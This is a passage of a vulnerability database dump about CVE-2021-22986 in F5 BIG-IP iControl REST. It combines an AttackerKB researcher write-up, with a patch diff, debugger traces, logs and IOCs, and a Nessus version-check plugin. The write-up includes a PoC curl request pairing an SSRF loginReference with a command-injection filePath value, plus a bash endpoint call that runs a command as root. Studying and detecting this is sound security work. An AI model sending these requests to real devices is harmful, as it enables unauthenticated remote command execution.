the code path yet.\n \n \n [snip]\n - private static boolean setIdentityFromBasicAuth(RestOperation request) {\n +\n +\n + private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) {\n String authHeader = request.getBasicAuthorization();\n if (authHeader == null) {\n return false;\n }\n - AuthzHelper.BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);\n - request.setIdentityData(components.userName, null, null);\n + final AuthzHelper.BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);\n +\n +\n +\n +\n +\n + String xForwardedHostHeaderValue = request.getAdditionalHeader(\"X-Forwarded-Host\");\n +\n +\n +\n + if (xForwardedHostHeaderValue == null) {\n + request.setIdentityData(components.userName, null, null);\n + if (runnable != null) {\n + runnable.run();\n + }\n + return true;\n + }\n +\n +\n +\n + String[] valueList = xForwardedHostHeaderValue.split(\", \");\n + int valueIdx = (valueList.length > 1) ? (valueList.length - 1) : 0;\n + if (valueList[valueIdx].contains(\"localhost\") || valueList[valueIdx].contains(\"127.0.0.1\")) {\n +\n + request.setIdentityData(components.userName, null, null);\n + if (runnable != null) {\n + runnable.run();\n + }\n + return true;\n + }\n +\n +\n + if (!PasswordUtil.isPasswordReset().booleanValue()) {\n + request.setIdentityData(components.userName, null, null);\n + if (runnable != null) {\n + runnable.run();\n + }\n + return true;\n + }\n +\n + AuthProviderLoginState loginState = new AuthProviderLoginState();\n + loginState.username = components.userName;\n + loginState.password = components.password;\n + loginState.address = request.getRemoteSender();\n + RestRequestCompletion authCompletion = new RestRequestCompletion()\n + {\n + public void completed(RestOperation subRequest) {\n + request.setIdentityData(components.userName, null, null);\n + if (runnable != null) {\n + runnable.run();\n + }\n + }\n +\n +\n + public void failed(Exception ex, RestOperation subRequest) {\n + RestOperationIdentifier.LOGGER.warningFmt(\"Failed to validate %s\", new Object[] { ex.getMessage() });\n + if (ex.getMessage().contains(\"Password expired\")) {\n + request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION));\n + }\n + if (runnable != null) {\n + runnable.run();\n + }\n + }\n + };\n +\n + try {\n + RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), null)).setCompletion(authCompletion);\n +\n +\n + RestRequestSender.sendPost(subRequest);\n + } catch (URISyntaxException e) {\n + LOGGER.warningFmt(\"ERROR: URISyntaxEception %s\", new Object[] { e.getMessage() });\n + }\n return true;\n }\n }\n [snip]\n \n\n### PoC\n\nThe affected endpoint is `/mgmt/shared/authn/login`.\n \n \n wvu@kharak:~$ curl -ks https://192.168.123.134/mgmt/shared/authn/login -d '{\"bigipAuthCookie\":\"\",\"loginReference\":{\"link\":\"http://localhost/mgmt/tm/access/bundle-install-tasks\"},\"filePath\":\"`id`\"}' | jq .\n {\n \"code\": 400,\n \"message\": \"request failed with null exception\",\n \"referer\": \"192.168.123.1\",\n \"restOperationId\": 4483409,\n \"kind\": \":resterrorresponse\"\n }\n wvu@kharak:~$\n \n\nThe `filePath` parameter is cleared from the request, rendering the RCE endpoint unusable with the SSRF. **ETA: Other researchers noted this (quickly!) in a [Twitter thread](<https://twitter.com/Smi1eSEC/status/1371754129673052160>), and I have confirmed that their findings match mine.**\n \n \n [pid 70562] execve(\"/bin/tar\", [\"tar\", \"-xvf\", \"/var/apm/f5-iappslx-agc-usecase-pack/f5-iappslx-agc-usecase-pack-7.0-0.0.1481.tar.gz\", \"--directory\", \"/var/config/rest/downloads/\"], [/* 9 vars */]) = 0\n \n\n### IOCs\n\nErrors may be seen in `/var/log/restjavad.0.log`. This log file is rotated. Log level can be adjusted in `/etc/restjavad.log.conf`.\n \n \n [F][11000][16 Mar 2021 21:41:58 UTC][8100/shared/authn/login AuthnWorker] User null successfully logged in from 192.168.123.1 using the http://localhost/mgmt/tm/access/bundle-install-tasks authentication provider.\n [F][11014][16 Mar 2021 21:41:58 UTC][RestOperation] Cleared the request content for key originalRequestBody\n [WARNING][11019][16 Mar 2021 21:41:58 UTC][RestOperation] Unable to generate error body for POST http://localhost:8100/shared/authz/tokens 400: java.util.ConcurrentModificationException\n \tat com.google.gson.internal.LinkedTreeMap$LinkedTreeMapIterator.nextNode(LinkedTreeMap.java:544)\n \tat com.google.gson.internal.LinkedTreeMap$EntrySet$1.next(LinkedTreeMap.java:568)\n \tat com.google.gson.internal.LinkedTreeMap$EntrySet$1.next(LinkedTreeMap.java:566)\n \tat com.f5.rest.common.RestOperation.fail(RestOperation.java:2458)\n \tat com.f5.rest.common.RestOperation.fail(RestOperation.java:2406)\n \tat com.f5.rest.workers.AuthTokenWorker.addOrUpdateAuthToken(AuthTokenWorker.java:337)\n \tat com.f5.rest.workers.AuthTokenWorker.onPost(AuthTokenWorker.java:291)\n \tat com.f5.rest.common.RestCollectionWorker.callDerivedRestMethod(RestCollectionWorker.java:937)\n \tat com.f5.rest.common.RestWorker.callRestMethodHandler(RestWorker.java:1190)\n \tat com.f5.rest.common.RestServer.processQueuedRequests(RestServer.java:1207)\n \tat com.f5.rest.common.RestServer.access$000(RestServer.java:44)\n \tat com.f5.rest.common.RestServer$1.run(RestServer.java:285)\n \tat java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:473)\n \tat java.util.concurrent.FutureTask.run(FutureTask.java:262)\n \tat java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(ScheduledThreadPoolExecutor.java:178)\n \tat java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:292)\n \tat java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152)\n \tat java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622)\n \tat java.lang.Thread.run(Thread.java:748)\n \n [F][11023][16 Mar 2021 21:41:58 UTC][RestOperation] Cleared the request content for key originalRequestBody\n [WARNING][11026][16 Mar 2021 21:41:58 UTC][RestOperation] Unable to generate error body for POST http://localhost:8100/shared/authn/login 400: java.util.ConcurrentModificationException\n \tat com.google.gson.internal.LinkedTreeMap$LinkedTreeMapIterator.nextNode(LinkedTreeMap.java:544)\n \tat com.google.gson.internal.LinkedTreeMap$EntrySet$1.next(LinkedTreeMap.java:568)\n \tat com.google.gson.internal.LinkedTreeMap$EntrySet$1.next(LinkedTreeMap.java:566)\n \tat com.f5.rest.common.RestOperation.fail(RestOperation.java:2458)\n \tat com.f5.rest.common.RestOperation.fail(RestOperation.java:2406)\n \tat com.f5.rest.workers.authn.AuthnWorker$8.failed(AuthnWorker.java:533)\n \tat com.f5.rest.workers.authn.AuthnWorker$8.failed(AuthnWorker.java:529)\n \tat com.f5.rest.common.RestOperation.fail(RestOperation.java:2486)\n \tat com.f5.rest.common.RestOperation.fail(RestOperation.java:2406)\n \tat com.f5.rest.common.RestWorker$5.failed(RestWorker.java:865)\n \tat com.f5.rest.common.RestWorker$5.failed(RestWorker.java:850)\n \tat com.f5.rest.common.RestOperation.fail(RestOperation.java:2486)\n \tat com.f5.rest.common.RestOperation.fail(RestOperation.java:2406)\n \tat com.f5.rest.workers.AuthTokenWorker.addOrUpdateAuthToken(AuthTokenWorker.java:337)\n \tat com.f5.rest.workers.AuthTokenWorker.onPost(AuthTokenWorker.java:291)\n \tat com.f5.rest.common.RestCollectionWorker.callDerivedRestMethod(RestCollectionWorker.java:937)\n \tat com.f5.rest.common.RestWorker.callRestMethodHandler(RestWorker.java:1190)\n \tat com.f5.rest.common.RestServer.processQueuedRequests(RestServer.java:1207)\n \tat com.f5.rest.common.RestServer.access$000(RestServer.java:44)\n \tat com.f5.rest.common.RestServer$1.run(RestServer.java:285)\n \tat java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:473)\n \tat java.util.concurrent.FutureTask.run(FutureTask.java:262)\n \tat java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(ScheduledThreadPoolExecutor.java:178)\n \tat java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:292)\n \tat java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152)\n \tat java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622)\n \tat java.lang.Thread.run(Thread.java:748)\n \n\nNote the \u201csuccessful\u201d login from user `null`, which indicates token generation was triggered. I decided to pursue this vector after my failure with the RCE endpoint.\n\n## Analysis\n\nThis is what you really came here for. ;)\n\n### Debugging\n\nA long JDB session in which request parameter clearing is demonstrated.\n \n \n Breakpoint hit: \"thread=qtp12784804-16 - /mgmt/shared/authn/login\", com.f5.rest.common.RestOperationIdentifier.setIdentityFromBasicAuth(), line=245 bci=11\n 245 AuthzHelper.BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);\n \n qtp12784804-16 - /mgmt/shared/authn/login[1] where\n [1] com.f5.rest.common.RestOperationIdentifier.setIdentityFromBasicAuth (RestOperationIdentifier.java:245)\n [2] com.f5.rest.common.RestOperationIdentifier.setIdentityFromAuthenticationData (RestOperationIdentifier.java:52)\n [3] com.f5.rest.app.RestServerServlet$ReadListenerImpl.onAllDataRead (RestServerServlet.java:136)\n [4] org.eclipse.jetty.server.HttpInput.run (HttpInput.java:443)\n [5] org.eclipse.jetty.server.handler.ContextHandler.handle (ContextHandler.java:1,175)\n [6] org.eclipse.jetty.server.HttpChannel.handle (HttpChannel.java:355)\n [7] org.eclipse.jetty.server.HttpChannel.run (HttpChannel.java:262)\n [8] org.eclipse.jetty.util.thread.QueuedThreadPool.runJob (QueuedThreadPool.java:635)\n [9] org.eclipse.jetty.util.thread.QueuedThreadPool$3.run (QueuedThreadPool.java:555)\n [10] java.lang.Thread.run (Thread.java:748)\n qtp12784804-16 - /mgmt/shared/authn/login[1] list\n 241 String authHeader = request.getBasicAuthorization();\n 242 if (authHeader == null) {\n 243 return false;\n 244 }\n 245 => AuthzHelper.BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);\n 246 request.setIdentityData(components.userName, null, null);\n 247 return true;\n 248 }\n 249 }\n qtp12784804-16 - /mgmt/shared/authn/login[1] print authHeader\n authHeader = \"Og==\"\n qtp12784804-16 - /mgmt/shared/authn/login[1] next\n >\n Step completed: \"thread=qtp12784804-16 - /mgmt/shared/authn/login\", com.f5.rest.common.RestOperationIdentifier.setIdentityFromBasicAuth(), line=246 bci=16\n 246 request.setIdentityData(components.userName, null, null);\n \n qtp12784804-16 - /mgmt/shared/authn/login[1] dump components\n components = {\n userName: null\n password: null\n }\n qtp12784804-16 - /mgmt/shared/authn/login[1] cont\n >\n Breakpoint hit: \"thread=Non-Blocking threadPool_4\", com.f5.rest.workers.authn.AuthnWorker.onPost(), line=341 bci=141\n 341 request.setBody(state);\n \n Non-Blocking threadPool_4[1] where\n [1] com.f5.rest.workers.authn.AuthnWorker.onPost (AuthnWorker.java:341)\n [2] com.f5.rest.common.RestWorker.callDerivedRestMethod (RestWorker.java:1,276)\n [3] com.f5.rest.common.RestWorker.callRestMethodHandler (RestWorker.java:1,190)\n [4] com.f5.rest.common.RestServer.processQueuedRequests (RestServer.java:1,207)\n [5] com.f5.rest.common.RestServer.access$000 (RestServer.java:44)\n [6] com.f5.rest.common.RestServer$1.run (RestServer.java:285)\n [7] java.util.concurrent.Executors$RunnableAdapter.call (Executors.java:473)\n [8] java.util.concurrent.FutureTask.run (FutureTask.java:262)\n [9] java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201 (ScheduledThreadPoolExecutor.java:178)\n [10] java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run (ScheduledThreadPoolExecutor.java:292)\n [11] java.util.concurrent.ThreadPoolExecutor.runWorker (ThreadPoolExecutor.java:1,152)\n [12] java.util.concurrent.ThreadPoolExecutor$Worker.run (ThreadPoolExecutor.java:622)\n [13] java.lang.Thread.run (Thread.java:748)\n Non-Blocking threadPool_4[1] list\n 337 return;\n 338 }\n 339\n 340 state.password = null;\n 341 => request.setBody(state);\n 342\n 343\n 344\n 345 if (state.loginReference == null) {\n 346 if (state.loginProviderName == null) {\n Non-Blocking threadPool_4[1] print request\n request = \"[\n id=6146169\n referer=192.168.123.1\n uri=http://localhost:8100/shared/authn/login\n method=POST\n statusCode=200\n contentType=application/x-www-form-urlencoded\n contentLength=121\n contentRange=null\n deadline=Tue Mar 16 15:14:01 PDT 2021\n body={\"bigipAuthCookie\":\"\",\"loginReference\":{\"link\":\"http://localhost/mgmt/tm/access/bundle-install-tasks\"},\"filePath\":\"`id`\"}\n forceSocket=false\n isResponse=false\n retriesRemaining=5\n coordinationId=null\n isConnectionCloseRequested=false\n isConnectionKeepAlive=true\n isRestErrorResponseRequired=true\n AdditionalHeadersAsString=\n Request: 'Local-Ip-From-Httpd'='192.168.123.134'\n 'X-Forwarded-Proto'='http'\n 'X-Forwarded-Server'='localhost.localdomain'\n 'X-F5-New-Authtok-Reqd'='false'\n 'X-Forwarded-Host'='192.168.123.134'\n Response:<empty>\n ResponseHeadersTrace=\n X-F5-Config-Api-Status=0]\"\n Non-Blocking threadPool_4[1] next\n >\n Step completed: \"thread=Non-Blocking threadPool_4\", com.f5.rest.workers.authn.AuthnWorker.onPost(), line=345 bci=147\n 345 if (state.loginReference == null) {\n \n Non-Blocking threadPool_4[1] print request\n request = \"[\n id=6146169\n referer=192.168.123.1\n uri=http://localhost:8100/shared/authn/login\n method=POST\n statusCode=200\n contentType=application/json\n contentLength=139\n contentRange=null\n deadline=Tue Mar 16 15:14:01 PDT 2021\n body={\"bigipAuthCookie\":\"\",\"loginReference\":{\"link\":\"http://localhost/mgmt/tm/access/bundle-install-tasks\"},\"generation\":0,\"lastUpdateMicros\":0}\n forceSocket=false\n isResponse=false\n retriesRemaining=5\n coordinationId=null\n isConnectionCloseRequested=false\n isConnectionKeepAlive=true\n isRestErrorResponseRequired=true\n AdditionalHeadersAsString=\n Request: 'Local-Ip-From-Httpd'='192.168.123.134'\n 'X-Forwarded-Proto'='http'\n 'X-Forwarded-Server'='localhost.localdomain'\n 'X-F5-New-Authtok-Reqd'='false'\n 'X-Forwarded-Host'='192.168.123.134'\n Response:<empty>\n ResponseHeadersTrace=\n X-F5-Config-Api-Status=0]\"\n Non-Blocking threadPool_4[1] cont\n >\n Breakpoint hit: \"thread=Non-Blocking threadPool_4\", com.f5.rest.workers.authn.AuthnWorker.onPost(), line=506 bci=600\n 506 sendPost(checkAuth);\n \n Non-Blocking threadPool_4[1] list\n 502\n 503 RestOperation checkAuth = RestOperation.create().setBody(loginState).setUri(makeLocalUri(state.loginReference.link)).setCompletion(authCompletion);\n 504\n 505\n 506 => sendPost(checkAuth);\n 507 }\n 508\n 509\n 510\n 511\n Non-Blocking threadPool_4[1] print checkAuth\n checkAuth = \"[\n id=6146236\n referer=null\n uri=http://localhost:8100/tm/access/bundle-install-tasks\n method=null\n statusCode=200\n contentType=application/json\n contentLength=84\n contentRange=null\n deadline=Tue Mar 16 15:14:47 PDT 2021\n body={\"address\":\"192.168.123.1\",\"bigipAuthCookie\":\"\",\"generation\":0,\"lastUpdateMicros\":0}\n forceSocket=false\n isResponse=false\n retriesRemaining=5\n coordinationId=null\n isConnectionCloseRequested=false\n isConnectionKeepAlive=true\n isRestErrorResponseRequired=true\n AdditionalHeadersAsString=\n Request:<empty> Response:<empty>\n ResponseHeadersTrace=\n X-F5-Config-Api-Status=0]\"\n Non-Blocking threadPool_4[1] cont\n >\n \n\n### Parameter allowlist\n\nAllowed parameters are in the `com.f5.rest.workers.authn.providers.AuthProviderLoginState` class.\n \n \n package com.f5.rest.workers.authn.providers;\n \n import com.f5.rest.common.RestReference;\n import com.f5.rest.common.RestWorkerState;\n import java.util.List;\n \n public class AuthProviderLoginState extends RestWorkerState {\n public String username;\n \n public String password;\n \n public String address;\n \n public String bigipAuthCookie;\n \n public String authProviderName;\n \n public RestReference userReference;\n \n public List<RestReference> groupReferences;\n }\n \n\nThis significantly limits the power of the SSRF, unfortunately. However, the fraudulent token generation should be investigated further. I have yet to find an endpoint that will respond affirmatively to the token generation. **ETA: See the RCE update at the bottom of the page. Rich found a usable endpoint.**\n\n### No password?\n\nI actually found this early on but didn\u2019t document it yet. Local requests to `restjavad` or `/usr/bin/icrd_child` don\u2019t require a password\u2026\n \n \n [root@localhost:NO LICENSE:Standalone] ~ # curl -su admin: -H \"Content-Type: application/json\" http://localhost:8100/mgmt/tm/util/bash -d '{\"command\":\"run\",\"utilCmdArgs\":\"-c id\"}' | jq .\n {\n \"kind\": \"tm:util:bash:runstate\",\n \"command\": \"run\",\n \"utilCmdArgs\": \"-c id\",\n \"commandResult\": \"uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0\\n\"\n }\n [root@localhost:NO LICENSE:Standalone] ~ #\n \n\nThis formed the basis for most of my SSRF attempts until I saw the parameter allowlist and noticed my `Authorization` header wasn\u2019t being passed through. :<\n\n## RCE update\n\n[Rich Warren](<https://twitter.com/buffaloverflow>) has produced a [full RCE chain](<https://twitter.com/buffaloverflow/status/1371988878672941057>) using the SSRF! **ETA: I tested 10% of the registered endpoints and discovered no fewer than 15 that were chainable to full RCE. This concludes my investigation of CVE-2021-22986. Thank you to F5 SIRT for being wonderful to work with, and many thanks to Rich for being a great collaborator!**\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-31T00:00:00", "type": "attackerkb", "title": "K03009991: iControl REST unauthenticated remote command execution vulnerability CVE-2021-22986", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22986"], "modified": "2021-04-06T00:00:00", "id": "AKB:930A50FF-16A2-4EA8-91C8-71360A643E5E", "href": "https://attackerkb.com/topics/J6pWeg5saG/k03009991-icontrol-rest-unauthenticated-remote-command-execution-vulnerability-cve-2021-22986", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "nessus": [{"lastseen": "2023-01-11T14:45:01", "description": "The version of F5 Networks BIG-IP installed on the remote host is prior to 12.1.5.3 / 13.1.3.6 / 14.1.4 / 15.1.2.1 / 16.0.1.1 / 16.1.0. It is, therefore, affected by a vulnerability as referenced in the K03009991 advisory.\n\n - On BIG-IP versions 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3 amd BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2, the iControl REST interface has an unauthenticated remote command execution vulnerability. Note: Software versions which have reached End of Software Development (EoSD) are not evaluated. (CVE-2021-22986)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-10T00:00:00", "type": "nessus", "title": "F5 Networks BIG-IP : iControl REST unauthenticated remote command execution vulnerability (K03009991)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22986"], "modified": "2022-12-05T00:00:00", "cpe": ["cpe:/a:f5:big-ip_access_policy_manager", "cpe:/a:f5:big-ip_advanced_firewall_manager", "cpe:/a:f5:big-ip_application_acceleration_manager", "cpe:/a:f5:big-ip_application_security_manager", "cpe:/a:f5:big-ip_application_visibility_and_reporting", "cpe:/a:f5:big-ip_global_traffic_manager", "cpe:/a:f5:big-ip_link_controller", "cpe:/a:f5:big-ip_local_traffic_manager", "cpe:/a:f5:big-ip_policy_enforcement_manager", "cpe:/h:f5:big-ip"], "id": "F5_BIGIP_SOL03009991.NASL", "href": "https://www.tenable.com/plugins/nessus/147626", "sourceData": "##\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from F5 Networks BIG-IP Solution K03009991.\n#\n# @NOAGENT@\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(147626);\n script_version(\"1.11\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/12/05\");\n\n script_cve_id(\"CVE-2021-22986\");\n script_xref(name:\"IAVA\", value:\"2021-A-0127\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/11/17\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0017\");\n\n script_name(english:\"F5 Networks BIG-IP : iControl REST unauthenticated remote command execution vulnerability (K03009991)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote device is missing a vendor-supplied security patch.\");\n script_set_attribute(attribute:\"description\", value:\n\"The version of F5 Networks BIG-IP installed on the remote host is prior to 12.1.5.3 / 13.1.3.6 / 14.1.4 / 15.1.2.1 /\n16.0.1.1 / 16.1.0. It is, therefore, affected by a vulnerability as referenced in the K03009991 advisory.\n\n - On BIG-IP versions 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before\n 13.1.3.6, and 12.1.x before 12.1.5.3 amd BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2, the\n iControl REST interface has an unauthenticated remote command execution vulnerability. Note: Software\n versions which have reached End of Software Development (EoSD) are not evaluated. (CVE-2021-22986)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.f5.com/csp/article/K03009991\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to one of the non-vulnerable versions listed in the F5 Solution K03009991.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-22986\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'F5 iControl REST Unauthenticated SSRF Token Generation RCE');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/03/11\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/03/10\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/03/10\");\n\n script_set_attribute(attribute:\"potential_vulnerability\", value:\"true\");\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:f5:big-ip_access_policy_manager\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:f5:big-ip_advanced_firewall_manager\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:f5:big-ip_application_acceleration_manager\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:f5:big-ip_application_security_manager\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:f5:big-ip_application_visibility_and_reporting\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:f5:big-ip_global_traffic_manager\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:f5:big-ip_link_controller\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:f5:big-ip_local_traffic_manager\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:f5:big-ip_policy_enforcement_manager\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/h:f5:big-ip\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"F5 Networks Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"f5_bigip_detect.nbin\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/BIG-IP/hotfix\", \"Host/BIG-IP/modules\", \"Host/BIG-IP/version\", \"Settings/ParanoidReport\");\n\n exit(0);\n}\n\n\ninclude('f5_func.inc');\n\nif ( ! get_kb_item('Host/local_checks_enabled') ) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nvar version = get_kb_item('Host/BIG-IP/version');\nif ( ! version ) audit(AUDIT_OS_NOT, 'F5 Networks BIG-IP');\nif ( isnull(get_kb_item('Host/BIG-IP/hotfix')) ) audit(AUDIT_KB_MISSING, 'Host/BIG-IP/hotfix');\nif ( ! get_kb_item('Host/BIG-IP/modules') ) audit(AUDIT_KB_MISSING, 'Host/BIG-IP/modules');\n\nif (report_paranoia < 2) audit(AUDIT_PARANOID);\n\nvar sol = 'K03009991';\nvar vmatrix = {\n 'AFM': {\n 'affected': [\n '16.0.0-16.0.1','15.1.0-15.1.2','14.1.0-14.1.3','13.1.0-13.1.3','12.1.0-12.1.5'\n ],\n 'unaffected': [\n '16.1.0','16.0.1.1','15.1.2.1','14.1.4','13.1.3.6','12.1.5.3'\n ],\n },\n 'AM': {\n 'affected': [\n '16.0.0-16.0.1','15.1.0-15.1.2','14.1.0-14.1.3','13.1.0-13.1.3','12.1.0-12.1.5'\n ],\n 'unaffected': [\n '16.1.0','16.0.1.1','15.1.2.1','14.1.4','13.1.3.6','12.1.5.3'\n ],\n },\n 'APM': {\n 'affected': [\n '16.0.0-16.0.1','15.1.0-15.1.2','14.1.0-14.1.3','13.1.0-13.1.3','12.1.0-12.1.5'\n ],\n 'unaffected': [\n '16.1.0','16.0.1.1','15.1.2.1','14.1.4','13.1.3.6','12.1.5.3'\n ],\n },\n 'ASM': {\n 'affected': [\n '16.0.0-16.0.1','15.1.0-15.1.2','14.1.0-14.1.3','13.1.0-13.1.3','12.1.0-12.1.5'\n ],\n 'unaffected': [\n '16.1.0','16.0.1.1','15.1.2.1','14.1.4','13.1.3.6','12.1.5.3'\n ],\n },\n 'AVR': {\n 'affected': [\n '16.0.0-16.0.1','15.1.0-15.1.2','14.1.0-14.1.3','13.1.0-13.1.3','12.1.0-12.1.5'\n ],\n 'unaffected': [\n '16.1.0','16.0.1.1','15.1.2.1','14.1.4','13.1.3.6','12.1.5.3'\n ],\n },\n 'GTM': {\n 'affected': [\n '16.0.0-16.0.1','15.1.0-15.1.2','14.1.0-14.1.3','13.1.0-13.1.3','12.1.0-12.1.5'\n ],\n 'unaffected': [\n '16.1.0','16.0.1.1','15.1.2.1','14.1.4','13.1.3.6','12.1.5.3'\n ],\n },\n 'LC': {\n 'affected': [\n '16.0.0-16.0.1','15.1.0-15.1.2','14.1.0-14.1.3','13.1.0-13.1.3','12.1.0-12.1.5'\n ],\n 'unaffected': [\n '16.1.0','16.0.1.1','15.1.2.1','14.1.4','13.1.3.6','12.1.5.3'\n ],\n },\n 'LTM': {\n 'affected': [\n '16.0.0-16.0.1','15.1.0-15.1.2','14.1.0-14.1.3','13.1.0-13.1.3','12.1.0-12.1.5'\n ],\n 'unaffected': [\n '16.1.0','16.0.1.1','15.1.2.1','14.1.4','13.1.3.6','12.1.5.3'\n ],\n },\n 'PEM': {\n 'affected': [\n '16.0.0-16.0.1','15.1.0-15.1.2','14.1.0-14.1.3','13.1.0-13.1.3','12.1.0-12.1.5'\n ],\n 'unaffected': [\n '16.1.0','16.0.1.1','15.1.2.1','14.1.4','13.1.3.6','12.1.5.3'\n ],\n }\n};\n\nif (bigip_is_affected(vmatrix:vmatrix, sol:sol))\n{\n var extra = NULL;\n if (report_verbosity > 0) extra = bigip_report_get();\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : extra\n );\n}\nelse\n{\n var tested = bigip_get_tested_modules();\n var audit_extra = 'For 